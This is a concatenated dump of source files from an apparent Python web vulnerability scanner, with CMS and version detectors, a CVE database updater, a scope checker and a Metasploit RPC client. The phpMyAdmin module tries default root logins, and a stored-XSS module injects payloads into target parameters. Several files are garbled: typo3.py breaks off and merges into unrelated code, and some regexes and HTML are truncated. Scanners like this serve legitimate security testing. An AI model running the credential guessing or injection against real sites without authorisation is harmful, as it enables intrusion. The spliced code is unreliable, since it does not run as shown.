--------------------------------------------------------------------------------
1 | try:
2 | from urlparse import urlparse
3 | except ImportError:
4 | from urllib.parse import urlparse
5 | import fnmatch
6 |
7 |
8 | class Scope:
9 | host = ""
10 | scopes = []
11 | is_https = False
12 | allow_cross_port = False
13 | allow_cross_schema = True
14 | allow_subdomains = False
15 | _port = 0
16 |
17 | def __init__(self, url, options=None):
18 | parsed = urlparse(url)
19 | if url.startswith("https://"):
20 | self.is_https = True
21 | self.host = parsed.hostname
22 | self._port = parsed.port
23 | if options:
24 | opts = [x.strip() for x in options.split(',')]
25 | if "cross_port" in opts:
26 | self.allow_cross_port = True
27 | if "no_cross_schema" in opts:
28 | self.allow_cross_schema = False
29 | if "allow_subdomains" in opts:
30 | self.allow_subdomains = True
31 | if "dont_care" in options:
32 | self.allow_subdomains = True
33 | self.allow_cross_port = True
34 |
35 | # Checks if a URL is in scope
36 | def in_scope(self, url):
37 | parsed = urlparse(url)
38 | if not self.allow_cross_port and \
39 | (parsed.port != self._port or
40 | self.allow_cross_schema and parsed.port in [80, 443]):
41 | return False
42 | if not self.allow_cross_schema:
43 | if self.is_https and parsed.scheme != "https":
44 | return False
45 | if not self.is_https and parsed.scheme != "http":
46 | return False
47 | if parsed.hostname == self.host:
48 | return True
49 | for sub_scope in self.scopes:
50 | if "*" in sub_scope:
51 | return fnmatch.fnmatch(parsed.netloc, sub_scope)
52 | if sub_scope == parsed.netloc:
53 | return True
54 | if self.allow_subdomains and parsed.netloc.endswith(self.host):
55 | return True
56 | return False
57 |
--------------------------------------------------------------------------------
/webapp/typo3.py:
--------------------------------------------------------------------------------
1 | from webapp import base_app
2 | import re
3 | from core.utils import requests_response_to_dict
4 | import json
5 | import logging
6 | import requests
7 | try:
8 | from urlparse import urljoin
9 | except ImportError:
10 | from urllib.parse import urljoin
11 |
12 |
13 | # This script detects vulnerabilities in the following PHP based products:
14 | # - Typo 3
15 | class Scanner(base_app.BaseAPP):
16 |
17 | def __init__(self):
18 | self.name = "Typo3"
19 | self.types = []
20 |
21 | def detect(self, url):
22 | directories = ['', 'typo3']
23 | for d in directories:
24 | path = urljoin(url, d)
25 | response = self.send(path)
26 | if response and response.status_code == 200 and \
27 | ("/typo3" in response.text or 'generator" content="TYPO3' in response.text):
28 | self.app_url = path
29 | return True
30 | return False
31 |
32 | def test(self, url):
33 | root_page = self.send(url)
34 | version = None
35 | if root_page:
36 | get_version = re.search(r'')[1]
36 | splitter = splitter.split('')[0]
37 | versions = []
38 | for x in re.findall(r'(?s)()', splitter)[1:]:
39 | version = re.findall(r'(?s)(.+?) | ', x)[3].strip()
40 | if version not in versions:
41 | versions.append(version)
42 | self.vuln_versions[name][cve] = versions
43 | return versions
44 |
45 | def get_cve_pages(self, name, start_url):
46 | url = start_url
47 | while 1:
48 | result = requests.get(url)
49 | found = self.parse_cve(name, result.text)
50 | self.logger.debug("Found %d new CVE entries on page" % len(found))
51 | next_page = re.search(r'\(This Page\)\s* 3:
50 | # if something is creating false positives
51 | continue
52 | path = urlparse.urlparse(f).path
53 | base, ext = os.path.splitext(path)
54 | u = urlparse.urljoin(f, base)
55 | p = p.replace('{url}', u)
56 | p = p.replace('{extension}', ext)
57 | result = self.send(p, self.headers, self.cookies)
58 | if result and result.url == p and result.status_code == 200:
59 | if "Content-Type" not in result.headers or result.headers['Content-Type'] != "text/html":
60 | working += 1
61 | results.append({'request': requests_response_to_dict(result), "match": "Status code 200"})
62 | return results
63 |
64 | def send(self, url, params, data):
65 | result = None
66 | headers = self.headers
67 | cookies = self.cookies
68 | try:
69 | if data:
70 | result = requests.post(url, params=params, data=data, headers=headers, cookies=cookies)
71 | else:
72 | result = requests.get(url, params=params, headers=headers, cookies=cookies)
73 | except Exception as e:
74 | pass
75 | return result
76 |
--------------------------------------------------------------------------------
/ext/libcms/scanners/joomla.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 | # extend the path with the current file, allows the use of other CMS scripts
4 | sys.path.insert(0, os.path.dirname(__file__))
5 | import cms_scanner
6 | import re
7 | import json
8 | try:
9 | from urlparse import urljoin, urlparse
10 | except ImportError:
11 | from urllib.parse import urljoin, urlparse
12 |
13 |
14 | class Scanner(cms_scanner.Scanner):
15 | def __init__(self):
16 | self.name = "joomla"
17 | self.update_frequency = 3600 * 48
18 |
19 | def get_version(self, url):
20 | text = self.get(urljoin(url, "language/en-GB/en-GB.xml"))
21 | if text:
22 | version_check_1 = re.search('(.+?)', text.text)
23 | if version_check_1:
24 | self.logger.info(
25 | "Detected %s version %s on %s trough language file" % (self.name, version_check_1.group(1), url))
26 | return version_check_1.group(1)
27 | text = self.get(urljoin(url, "administrator/manifests/files/joomla.xml"))
28 | if text:
29 | version_check_2 = re.search('(.+?)', text.text)
30 | if version_check_2:
31 | self.logger.info(
32 | "Detected %s version %s on %s trough admin xml" % (self.name, version_check_2.group(1), url))
33 | return version_check_2.group(1)
34 | text = self.get(urljoin(url, 'plugins/editors/tinymce/tinymce.xml'))
35 | if text:
36 | version_check_3 = re.search('(.+?)', text.text)
37 | if version_check_3:
38 | sub = version_check_2.group(1)
39 | # removed lowest versions to prevent false positives
40 | sub_versions = {
41 | '3.5.6': '3.1.6',
42 | '4.0.10': '3.2.1',
43 | '4.0.12': '3.2.2',
44 | '4.0.18': '3.2.4',
45 | '4.0.22': '3.3.0',
46 | '4.0.28': '3.3.6',
47 | '4.1.7': '3.4.0',
48 | }
49 | self.logger.info("Could not determine version but TinyMCE is present, " +
50 | "detection will probably not be very accurate")
51 | if sub in sub_versions:
52 | return sub_versions[sub]
53 | self.logger.warning("Unable to determine CMS version on url %s" % url)
54 | return None
55 |
56 | def run(self, base):
57 | self.set_logger()
58 | self.setup()
59 |
60 | version = self.get_version(base)
61 | self.logger.info("Because Joomla compononents are too wide-spread"
62 | " the default scanner should detect most vulnerabilities")
63 | return {
64 | 'version': version,
65 | 'plugins': [],
66 | 'plugin_vulns': [],
67 | 'version_vulns': [],
68 | 'discovery': []
69 | }
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/webapp/databases/update.py:
--------------------------------------------------------------------------------
1 | import process
2 | import optparse
3 | import sys
4 | import logging
5 |
6 |
7 | config = {
8 | 'typo3': {
9 | 'Typo3': 'https://www.cvedetails.com/vulnerability-list/vendor_id-3887/Typo3.html'
10 | },
11 | 'tomcat': {
12 | 'Tomcat': 'https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-887/Apache-Tomcat.html',
13 | 'Jboss': 'https://www.cvedetails.com/vulnerability-list/vendor_id-25/product_id-14972/Redhat-Jboss-Enterprise-Application-Platform.html'
14 | },
15 | 'subrion': {
16 | 'Subrion': 'https://www.cvedetails.com/vulnerability-list/vendor_id-9328/product_id-23428/Intelliants-Subrion-Cms.html'
17 | },
18 | 'textpattern': {
19 | 'Textpattern': 'https://www.cvedetails.com/vulnerability-list/vendor_id-5344/Textpattern.html'
20 | },
21 | 'cmsmadesimple': {
22 | 'CmsMadeSimple': 'https://www.cvedetails.com/vulnerability-list/vendor_id-3206/Cmsmadesimple.html'
23 | },
24 | 'magento': {
25 | 'Magento': 'https://www.cvedetails.com/vulnerability-list/vendor_id-15393/product_id-31613/Magento-Magento.html'
26 | },
27 | 'modx_revolution': {
28 | 'Revolution': 'https://www.cvedetails.com/vulnerability-list/vendor_id-11576/product_id-23360/Modx-Modx-Revolution.html'
29 | },
30 | 'phpmyadmin': {
31 | 'phpMyAdmin': 'https://www.cvedetails.com/vulnerability-list/vendor_id-784/Phpmyadmin.html'
32 | },
33 | 'concrete5': {
34 | 'Concrete5': 'https://www.cvedetails.com/vulnerability-list/vendor_id-11506/product_id-23747/Concrete5-Concrete5.html'
35 | },
36 | 'php': {
37 | 'PHP': 'https://www.cvedetails.com/vulnerability-list/vendor_id-74/product_id-128/PHP-PHP.html'
38 | }
39 | }
40 |
41 | if __name__ == "__main__":
42 | parser = optparse.OptionParser()
43 | parser.add_option('-m', '--module', dest="module", default=None, help="The module to update")
44 | parser.add_option('-a', '--all', dest="all", default=False, action="store_true", help="Update all modules")
45 | parser.add_option('-v', dest="verbose", default=False, action="store_true", help="Show verbose stuff")
46 | options, args = parser.parse_args()
47 | logging.basicConfig(level=logging.DEBUG if options.verbose else logging.INFO)
48 | if options.all:
49 | for root in config:
50 | for entry in config[root]:
51 | print("Updating database %s_vulns.json with entries from %s" % (root, entry))
52 | process.CVEProcessor().run(config[root], root)
53 |
54 | elif options.module:
55 | module = options.module
56 | if module not in config:
57 | print("Unknown module %s, options are:" % module)
58 | for key in config:
59 | print(key)
60 | sys.exit(1)
61 | for entry in config[module]:
62 | print("Updating database %s_vulns.json with entries from %s" % (module, entry))
63 | process.CVEProcessor().run(config[module], module)
64 | else:
65 | parser.print_help()
66 | sys.exit(1)
67 |
68 |
--------------------------------------------------------------------------------
/ext/libcms/scanners/drupal.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 | # extend the path with the current file, allows the use of other CMS scripts
4 | sys.path.insert(0, os.path.dirname(__file__))
5 | import cms_scanner
6 | import re
7 | import json
8 | import random
9 |
10 | try:
11 | from urlparse import urljoin, urlparse
12 | except ImportError:
13 | from urllib.parse import urljoin, urlparse
14 |
15 |
16 | class Scanner(cms_scanner.Scanner):
17 | def __init__(self):
18 | self.name = "drupal"
19 | self.update_frequency = 3600 * 48
20 |
21 | def get_version(self, url):
22 | text = self.get(urljoin(url, "CHANGELOG.txt"))
23 | if text:
24 | version_check_1 = re.search('Drupal (\d+\.\d+)', text.text)
25 | if version_check_1:
26 | self.logger.info(
27 | "Detected %s version %s on %s trough changelog file" % (self.name, version_check_1.group(1), url))
28 | return version_check_1.group(1)
29 | text = self.get(url)
30 | if text:
31 | version_check_2 = re.search('blog.domain.com issues)
77 | if result and self.scope.in_scope(result.url):
78 | return result
79 | return None
80 |
--------------------------------------------------------------------------------
/web/public/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
29 |
30 |
31 |
89 |
90 |
--------------------------------------------------------------------------------
/core/database.py:
--------------------------------------------------------------------------------
1 | import sqlite3
2 | try:
3 | from queue import Queue
4 | except ImportError:
5 | from Queue import Queue
6 | import threading
7 | import time
8 | import os
9 |
10 |
11 | class SQLiteWriter:
12 | db = None
13 | scan = 0
14 | todo = Queue(maxsize=0)
15 | db_file = None
16 | active = True
17 |
18 | _db_thread = None
19 | seen_entries = []
20 |
21 | def init(self, dbfile):
22 | if not os.path.exists(dbfile):
23 | print("Database file %s not found, creating new one" % dbfile)
24 | self.db = sqlite3.connect(self.db_file)
25 | cursor = self.db.cursor()
26 | cursor.execute('CREATE TABLE "scans" ('
27 | '"id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,'
28 | '"start_url" TEXT,'
29 | '"domain" TEXT,'
30 | '"started" DATETIME,'
31 | '"ended" DATETIME'
32 | ');')
33 |
34 | cursor.execute('CREATE TABLE "results" ('
35 | '"id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,'
36 | '"scan" INTEGER,'
37 | '"type" TEXT,'
38 | '"module" TEXT,'
39 | '"severity" INTEGER,'
40 | '"detected" DATETIME,'
41 | '"data" TEXT);')
42 |
43 |
44 | self.db.commit()
45 | cursor.close()
46 | self.db.close()
47 |
48 | def open_db(self, database_file):
49 | self.db_file = database_file
50 | self.init(self.db_file)
51 | self._db_thread = threading.Thread(target=self.loop)
52 |
53 | def start(self, url, domain):
54 | self._db_thread.start()
55 | sql = '''INSERT INTO scans(start_url, domain ,started) VALUES(?,?,datetime('now'))'''
56 | self.todo.put((sql, (url, domain), "start"))
57 |
58 | def put(self, result_type, script, severity, text, allow_only_once=False):
59 | if allow_only_once:
60 | entry = [result_type, script]
61 | if entry in self.seen_entries:
62 | return
63 | self.seen_entries.append(entry)
64 | sql = '''INSERT INTO results(scan, type, module, severity, data, detected)
65 | VALUES(?, ?, ?, ?, ?, datetime('now')
66 | )'''
67 | self.todo.put((sql, (self.scan, result_type, script, severity, text), "result"))
68 |
69 | def end(self):
70 | sql = '''UPDATE scans SET ended = datetime('now') WHERE id = %d''' % self.scan
71 | self.todo.put((sql, (), "end"))
72 |
73 | def loop(self):
74 | self.db = sqlite3.connect(self.db_file)
75 | while self.active:
76 | if self.todo.qsize() > 0:
77 | sql, args, output_type = self.todo.get()
78 | cur = self.db.cursor()
79 | cur.execute(sql, args)
80 | if output_type == "start":
81 | self.scan = cur.lastrowid
82 | self.db.commit()
83 | if output_type == "end":
84 | self.db.close()
85 | self.active = False
86 | time.sleep(0.5)
87 |
88 |
--------------------------------------------------------------------------------
/ext/libcms/cms_scanner_core.py:
--------------------------------------------------------------------------------
1 | import os
2 | import logging
3 | import sys
4 | from ext.libcms.detector import CMSDetector
5 |
6 |
7 | # Main module loader for CMS Scanners
8 | class CustomModuleLoader:
9 | folder = ""
10 | blacklist = ['cms_scanner.py', '__init__.py']
11 | modules = []
12 | logger = None
13 | is_aggressive = False
14 | module = None
15 | # common paths for cms installations
16 | cms_sub = ['wordpress', 'wp', 'magento', 'joomla', 'blog', 'drupal']
17 |
18 | def __init__(self, folder='scanners', blacklist=[], is_aggressive=False, log_level=logging.INFO):
19 | self.blacklist.extend(blacklist)
20 | self.folder = os.path.join(os.path.dirname(__file__), folder)
21 | self.logger = logging.getLogger("CMS Scanner")
22 | self.logger.setLevel(log_level)
23 | ch = logging.StreamHandler(sys.stdout)
24 | ch.setLevel(log_level)
25 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
26 | ch.setFormatter(formatter)
27 | self.logger.addHandler(ch)
28 | self.logger.debug("Loading CMS scripts")
29 | self.is_aggressive = is_aggressive
30 |
31 | def load(self, script, name):
32 | sys.path.insert(0, os.path.dirname(__file__))
33 | base = script.replace('.py', '')
34 | try:
35 | command_module = __import__("scanners.%s" % base, fromlist=["scanners"])
36 | module = command_module.Scanner()
37 | if module.name == name:
38 | self.module = module
39 | self.module.set_logger(self.logger.getEffectiveLevel())
40 | self.logger.debug("Selected %s for target" % name)
41 | except ImportError as e:
42 | self.logger.warning("Error importing script:%s %s" % (base, str(e)))
43 | except Exception as e:
44 | self.logger.warning("Error loading script:%s %s" % (base, str(e)))
45 |
46 | def load_modules(self, name):
47 | for f in os.listdir(self.folder):
48 | if not f.endswith('.py'):
49 | continue
50 | if f in self.blacklist:
51 | continue
52 | self.load(f, name)
53 |
54 | def run_scripts(self, base, headers={}, cookies={}):
55 | p = CMSDetector()
56 | cms = p.scan(base)
57 | if cms:
58 | self.logger.debug("Detected %s as active CMS" % cms)
59 | self.load_modules(cms)
60 | if self.module:
61 | results = self.module.run(base)
62 | return {cms: results}
63 | else:
64 | self.logger.warning("No script was found for CMS %s" % cms)
65 | for cms_sub in self.cms_sub:
66 | cms = p.scan_sub(base, cms_sub)
67 | if cms:
68 | cms_url = "%s/%s/" % (base[:-1] if base.endswith('/') else base, cms_sub)
69 | self.logger.info("CMS %s was detected in folder %s" % (cms, cms_url))
70 | self.logger.debug("Detected %s as active CMS" % cms)
71 | self.load_modules(cms)
72 | if self.module:
73 | results = self.module.run(cms_url)
74 | return {cms: results}
75 | else:
76 | self.logger.warning("No script was found for CMS %s" % cms)
77 | return None
78 |
79 |
80 | else:
81 | self.logger.info("No CMS was detected on target %s" % base)
82 | return None
83 |
84 |
--------------------------------------------------------------------------------
/webapp/phpmyadmin.py:
--------------------------------------------------------------------------------
1 | from webapp import base_app
2 | import re
3 | from core.utils import requests_response_to_dict
4 | import json
5 | import logging
6 | import requests
7 | try:
8 | from urlparse import urljoin
9 | except ImportError:
10 | from urllib.parse import urljoin
11 |
12 |
13 | # This script detects vulnerabilities in the following PHP based products:
14 | # - phpMyAdmin
15 | class Scanner(base_app.BaseAPP):
16 |
17 | def __init__(self):
18 | self.name = "phpMyAdmin"
19 | self.types = []
20 |
21 | def detect(self, url):
22 | directories = ['phpmyadmin', 'pma', 'phpMyAdmin', '']
23 | for d in directories:
24 | path = urljoin(url, d)
25 | response = self.send(path)
26 | if response and response.status_code == 200 and "phpmyadmin.css.php" in response.text:
27 | self.app_url = path
28 | return True
29 | return False
30 |
31 | def test(self, url):
32 | docu_url = urljoin(url, "Documentation.html")
33 | docu_response = self.send(docu_url)
34 | version = None
35 | if docu_response:
36 | get_version = re.search(r'phpMyAdmin\s([\d\.]+)\s', docu_response.text)
37 | if get_version:
38 | version = get_version.group(1)
39 | self.logger.info("phpMyAdmin version %s was identified from the Documentation.html file" % version)
40 |
41 | if version:
42 | db = self.get_db("phpmyadmin_vulns.json")
43 | data = json.loads(db)
44 | pma_vulns = data['phpMyAdmin']
45 | self.match_versions(pma_vulns, version, url)
46 | self.test_auth(url)
47 |
48 | def test_auth(self, url):
49 | sess = requests.session()
50 | default_creds = ['root:', 'root:admin', 'root:root']
51 | init_req = sess.get(url)
52 | if not init_req:
53 | self.logger.warning("Unable to test authentication, invalid initial response")
54 | return
55 | token_re = re.search('name="token".+?value="(.+?)"', init_req.text)
56 |
57 | for entry in default_creds:
58 | if not token_re:
59 | self.logger.warning("Unable to test authentication, no token")
60 | return
61 | user, passwd = entry.split(':')
62 | payload = {'lang': 'en', 'pma_username': user, 'pma_password': passwd, 'token': token_re.group(1)}
63 | post_url = urljoin(url, 'index.php')
64 | post_response = sess.post(post_url, payload)
65 | if post_response and 'Refresh' in post_response.headers:
66 | returl = post_response.headers['Refresh'].split(';')[1].strip()
67 | retdata = sess.get(returl)
68 | if retdata:
69 | if 'class="loginform">' not in retdata.text:
70 | match_str = "Possible positive authentication for user: %s and password %s on %s " % \
71 | (user, passwd, url)
72 | result = {
73 | 'request': requests_response_to_dict(post_response),
74 | 'match': match_str
75 | }
76 | self.logger.info(match_str)
77 | self.results.append(result)
78 | return
79 | else:
80 | token_re = re.search('name="token".+?value="(.+?)"', retdata.text)
81 |
82 |
83 |
84 |
85 |
86 |
87 |
--------------------------------------------------------------------------------
/modules/module_stored_xss.py:
--------------------------------------------------------------------------------
1 | import random
2 | import requests
3 | import modules.module_base
4 | from core.utils import requests_response_to_dict
5 |
6 |
7 | class Module(modules.module_base.Base):
8 | cookies = None
9 | headers = None
10 |
11 | def __init__(self):
12 | self.name = "Stored XSS"
13 | self.injections = {}
14 | self.module_types = ['injection', 'dangerous']
15 | self.possibilities = [
16 | '',
17 | 'var a = {injection_value};',
18 | '
'
19 | ]
20 | self.input = "urls"
21 | self.output = "vuln"
22 | self.severity = 3
23 |
24 | def run(self, urls, headers={}, cookies={}):
25 | self.cookies = cookies
26 | self.headers = headers
27 | for url in urls:
28 | url, data = url
29 | base, params = self.get_params_from_url(url)
30 | for u in params:
31 | self.inject(base, params, data, parameter_get=u)
32 | if data:
33 | for u in data:
34 | self.inject(base, params, data, parameter_post=u)
35 | results = []
36 | for url in urls:
37 | url, data = url
38 | result = self.validate(url, data)
39 | if result:
40 | results.append(result)
41 | return results
42 |
43 | def validate(self, url, data):
44 | base, params = self.get_params_from_url(url)
45 | result = self.send(base, params, data)
46 | if result:
47 | for t in self.injections:
48 | for p in self.possibilities:
49 | payload = p.replace('{injection_value}', str(t))
50 | if payload in result.text:
51 | return {'request': requests_response_to_dict(self.injections[t]), 'match': requests_response_to_dict(result)}
52 | return False
53 |
54 | def inject(self, url, params, data=None, parameter_get=None, parameter_post=None):
55 | if parameter_get:
56 | tmp = dict(params)
57 | for injection_value in self.possibilities:
58 | random_int = random.randint(9999, 9999999)
59 | payload = injection_value.replace('{injection_value}', str(random_int))
60 | payload = payload.replace('{original_value}', str(params[parameter_get]))
61 | tmp[parameter_get] = payload
62 | result = self.send(url, tmp, data)
63 | self.injections[str(random_int)] = result
64 |
65 | if parameter_post:
66 | tmp = dict(data)
67 | for injection_value in self.possibilities:
68 | random_int = random.randint(9999, 9999999)
69 | payload = injection_value.replace('{injection_value}', str(random_int))
70 | payload = payload.replace('{original_value}', str(data[parameter_post]))
71 | tmp[parameter_post] = payload
72 | result = self.send(url, params, tmp)
73 | self.injections[str(random_int)] = result
74 |
75 | def send(self, url, params, data):
76 | result = None
77 | headers = self.headers
78 | cookies = self.cookies
79 | try:
80 | if data:
81 | result = requests.post(url, params=params, data=data, headers=headers, cookies=cookies)
82 | else:
83 | result = requests.get(url, params=params, headers=headers, cookies=cookies)
84 | except Exception as e:
85 | print(str(e))
86 | return result
87 |
--------------------------------------------------------------------------------
/ext/metamonster/rpcclient.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import requests
3 | import msgpack
4 | import sys
5 | from time import sleep
6 |
7 | class Client:
8 | ssl = True
9 | endpoint = None
10 | username = ""
11 | password = ""
12 |
13 | token = None
14 | is_working = False
15 |
16 | def __init__(self, endpoint, username="msf", password="metasploit", use_ssl=True, log_level=logging.INFO):
17 | self.endpoint = endpoint
18 | self.username = username
19 | self.password = password
20 | self.ssl = use_ssl
21 | self.logger = logging.getLogger("MetaMonster")
22 | self.logger.setLevel(log_level)
23 | ch = logging.StreamHandler(sys.stdout)
24 | ch.setLevel(log_level)
25 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
26 | ch.setFormatter(formatter)
27 | if not self.logger.handlers:
28 | self.logger.addHandler(ch)
29 | self.logger.setLevel(log_level)
30 | self.log_level = log_level
31 | if self.ssl:
32 | requests.packages.urllib3.disable_warnings()
33 |
34 | def send(self, method, data=[], is_second_attempt=False):
35 | try:
36 | headers = {"Content-type": "binary/message-pack"}
37 | if method != "auth.login" and self.token:
38 | data.insert(0, self.token)
39 | data.insert(0, method)
40 | result = requests.post(self.endpoint, data=self.encode(data), verify=False, headers=headers)
41 | decoded = self.decode(result.content)
42 | return decoded
43 | except requests.ConnectionError as e:
44 | self.logger.warning("Cannot connect to endpoint %s. %s" % (self.endpoint, str(e)))
45 | if is_second_attempt:
46 | self.logger.error("Second connection attempt failed. cannot connect to endpoint %s" % self.endpoint)
47 | self.is_working = False
48 | return None
49 | else:
50 | self.logger.info("Retrying in 10 seconds")
51 | sleep(10)
52 | return self.send(method, data, True)
53 |
54 | except requests.Timeout as e:
55 | self.logger.warning("Timeout connecting to endpoint %s." % self.endpoint)
56 | if is_second_attempt:
57 | self.logger.error("Second connection attempt failed. cannot connect to endpoint %s" % self.endpoint)
58 | self.is_working = False
59 | return None
60 | else:
61 | self.logger.info("Retrying in 10 seconds")
62 | sleep(10)
63 | return self.send(method, data, True)
64 | except Exception:
65 | self.logger.error("Uncaught error %s" % self.endpoint)
66 | self.is_working = False
67 | return None
68 |
69 | def encode(self, data):
70 | return msgpack.packb(data)
71 |
72 | def decode(self, data):
73 | return msgpack.unpackb(data)
74 |
75 | def auth(self):
76 | self.logger.debug("Authenticating...")
77 | res = self.send('auth.login', [self.username, self.password])
78 | if not res:
79 | return False
80 |
81 | if b'token' in res:
82 | self.logger.debug("Authentication successful")
83 | self.token = res[b'token'].decode()
84 | self.is_working = True
85 | return True
86 | else:
87 | self.logger.warning("Incorrect credentials for msfrpcd, cannot start")
88 | self.is_working = False
89 | return False
90 |
91 | def request(self, action, data=[]):
92 | if not self.token:
93 | self.auth()
94 | if self.is_working:
95 | return self.send(action, data)
96 | return None
97 |
--------------------------------------------------------------------------------
/webapp/tomcat.py:
--------------------------------------------------------------------------------
1 | from webapp import base_app
2 | import re
3 | import random
4 | import json
5 |
6 |
7 | # This script detects vulnerabilities in the following Java based products:
8 | # - Tomcat
9 | # - JBoss
10 | class Scanner(base_app.BaseAPP):
11 |
12 | def __init__(self):
13 | self.name = "Tomcat"
14 | self.types = []
15 |
16 | def detect(self, url):
17 | result = self.send(url)
18 | if not result:
19 | return False
20 |
21 | rand_val = random.randint(9999, 999999)
22 | invalid_url = url + "a_%d.jsp" % rand_val if url.endswith('/') else url + "/a_%d.jsp" % rand_val
23 | invalid_result = self.send(invalid_url)
24 | if invalid_result and 'Tomcat' in invalid_result.text:
25 | self.logger.debug("Discovered Tomcat through 404 page")
26 | return True
27 |
28 | if 'Server' in result.headers:
29 | if 'Tomcat' in result.headers['Server']:
30 | self.logger.debug("Discovered Tomcat through Server header")
31 | return True
32 | if 'Coyote' in result.headers['Server']:
33 | self.logger.debug("Discovered Coyote through Server header")
34 | return True
35 | if 'JBoss' in result.headers['Server']:
36 | self.logger.debug("Discovered JBoss through Server header")
37 | return True
38 | if 'Servlet' in result.headers['Server']:
39 | self.logger.debug("Discovered Servlet through Server header")
40 | return True
41 |
42 | text = result.text
43 |
44 | for link in re.findall('Apache Tomcat/(.+?)', invalid_result.text)
77 | if version:
78 | return version.group(1)
79 | return False
80 |
81 | def get_version_jboss(self, url):
82 | rand_val = random.randint(9999, 999999)
83 | invalid_url = url + "a_%d.jsp" % rand_val if url.endswith('/') else url + "/a_%d.jsp" % rand_val
84 | invalid_result = self.send(invalid_url)
85 | if 'JBoss' in invalid_result.text:
86 | version = re.search('JBoss(?:Web)?/(.+?)
', invalid_result.text)
87 | if version:
88 | return version.group(1)
89 | return False
90 |
91 |
92 |
--------------------------------------------------------------------------------
/core/utils.py:
--------------------------------------------------------------------------------
1 | import copy
2 | import string
3 | import random
4 | try:
5 | from urllib import quote_plus
6 | except ImportError:
7 | from urllib.parse import quote_plus
8 |
9 |
10 | # function to make key => value dict lowercase
11 | def multi_to_lower(old_dict, also_values=False):
12 | new = {}
13 | for key in old_dict:
14 | new[key.lower()] = old_dict[key].lower() if also_values else old_dict[key]
15 | return new
16 |
17 |
18 | def random_string(length=5, pool=string.ascii_lowercase):
19 | return ''.join(random.choice(pool) for i in range(length))
20 |
21 |
22 | # extract all parameters from a string (url parameters or post data parameters)
23 | def params_from_str(string):
24 | out = {}
25 | if "&" in string:
26 | for param in string.split('&'):
27 | if "=" in param:
28 | sub = param.split('=')
29 | key = sub[0]
30 | value = sub[1]
31 | out[key] = value
32 | else:
33 | out[param] = ""
34 | else:
35 | if "=" in string:
36 | sub = string.split('=')
37 | key = sub[0]
38 | value = sub[1]
39 | out[key] = value
40 | else:
41 | out[string] = ""
42 | return out
43 |
44 |
45 | # same as above but the other way around
46 | def params_to_str(params):
47 | groups = []
48 | for key in params:
49 | groups.append("%s=%s" % (quote_plus(key), quote_plus(params[key]) if params[key] else ""))
50 | return '&'.join(groups)
51 |
52 |
53 | # checks if a script name already exists in the results object
54 | def has_seen_before(key, results):
55 | for x in results:
56 | if x['script'] == key:
57 | return True
58 | return False
59 |
60 |
61 | def aspx_strip_internal(post):
62 | out = {}
63 | for name in post:
64 | value = post[name]
65 | if not name.startswith("__"):
66 | out[name] = value
67 | return out
68 |
69 |
70 | # generate unique url / post data pairs because we do not care about other variations during scanning
71 | def uniquinize(urls):
72 | out = []
73 | seen = []
74 | for x in urls:
75 | url, data = copy.copy(x)
76 | newparams, newdata = copy.copy(x)
77 | if "?" in url:
78 | u, p = url.split('?')
79 | p = p.replace(';', '&')
80 | params = params_from_str(p)
81 | params = dict(params)
82 | for k in params:
83 | params[k] = ""
84 | newparams = "%s?%s" % (u, params_to_str(params))
85 | if newdata:
86 | newdata = dict(newdata)
87 | for k in newdata:
88 | newdata[k] = ""
89 | payload = [newparams, newdata]
90 | if payload in seen:
91 | continue
92 | seen.append(payload)
93 | out.append([url, data])
94 | return out
95 |
96 |
97 | # create dict from response class
98 | def response_to_dict(response):
99 | return {
100 | 'request': {
101 | 'url': response.request_object.url,
102 | 'data': response.request_object.data,
103 | 'headers': dict(response.request_object.request_headers),
104 | 'cookies': dict(response.request_object.response.cookies)
105 | },
106 | 'response': {
107 | 'code': response.code,
108 | 'headers': dict(response.headers),
109 | 'content-type': response.content_type
110 | }
111 | }
112 |
113 |
114 | # same but for requests response
115 | def requests_response_to_dict(response):
116 | return {
117 | 'request': {
118 | 'url': response.request.url,
119 | 'data': response.request.body,
120 | 'headers': dict(response.request.headers),
121 | 'cookies': dict(response.cookies)
122 | },
123 | 'response': {
124 | 'code': response.status_code,
125 | 'headers': dict(response.headers),
126 | 'content-type': response.headers['Content-Type'] if 'Content-Type' in response.headers else ""
127 | }
128 | }
129 |
--------------------------------------------------------------------------------
/ext/libcms/scanners/cms_scanner.py:
--------------------------------------------------------------------------------
1 | import time
2 | import requests
3 | import os
4 | import logging
5 | import sys
6 |
7 | class Scanner:
8 | # set frequency for update call
9 | update_frequency = 0
10 | name = ""
11 | aggressive = False
12 | last_update = 0
13 | cache_dir = os.path.join(os.path.dirname(__file__), 'cache')
14 | logger = None
15 | updates = {}
16 | headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36"}
17 | cookies = {}
18 |
19 | def get_version(self, url):
20 | return None
21 |
22 | def set_logger(self, log_level=logging.DEBUG):
23 | self.logger = logging.getLogger("CMS-%s" % self.name)
24 | self.logger.setLevel(log_level)
25 | ch = logging.StreamHandler(sys.stdout)
26 | ch.setLevel(log_level)
27 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
28 | ch.setFormatter(formatter)
29 | if not self.logger.handlers:
30 | self.logger.addHandler(ch)
31 |
32 | def update(self):
33 | pass
34 |
35 | def run(self, url):
36 | return {}
37 |
38 | def get_update_cache(self):
39 | if os.path.exists(self.cache_file('updates.txt')):
40 | self.logger.debug("Reading update cache")
41 | with open(self.cache_file('updates.txt'), 'r') as f:
42 | for x in f.read().strip().split('\n'):
43 | if len(x):
44 | scanner, last_update = x.split(':')
45 | self.updates[scanner] = int(last_update)
46 | else:
47 | self.logger.warning("There appears to be an error in the updates cache file")
48 | self.updates[self.name] = 0
49 | if self.name in self.updates:
50 | self.last_update = self.updates[self.name]
51 | else:
52 | self.updates[self.name] = time.time()
53 | else:
54 | self.logger.debug("No updates cache file found, creating empty one")
55 | self.updates[self.name] = time.time()
56 |
